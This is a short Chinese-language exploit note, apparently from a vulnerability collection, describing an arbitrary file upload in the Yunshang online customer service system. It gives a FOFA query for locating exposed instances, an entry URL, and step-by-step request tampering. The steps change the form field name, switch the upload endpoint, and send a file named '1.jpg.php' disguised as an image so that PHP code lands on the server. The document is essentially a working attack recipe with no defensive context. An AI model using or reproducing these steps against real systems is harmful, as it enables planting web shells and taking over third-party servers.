云尚在线客服系统任意文件上传.md

603 B / 2021-05-21 09:14:38

    # 云尚在线客服系统任意文件上传

FOFA:


```
body="cgwl.ico"
```

访问:

```
/index/index/home?visiter_id=&visiter_name=&avatar=&business_id=1&groupid=0&special=1  
//默认ID为1  接入客服  点击图片上传抓包
参数修改
Content-Disposition: form-data; name="upload"
修改为
Content-Disposition: form-data; name="editormd-image-file"

POST请求
/admin/event/upload
改为
/admin/event/uploadimg
POST /admin/event/uploadimg HTTP/1.1
Host: target
...

Content-Disposition: form-data; name="editormd-image-file"; filename="1.jpg.php"
Content-Type: image/png
```

via:RoSyNice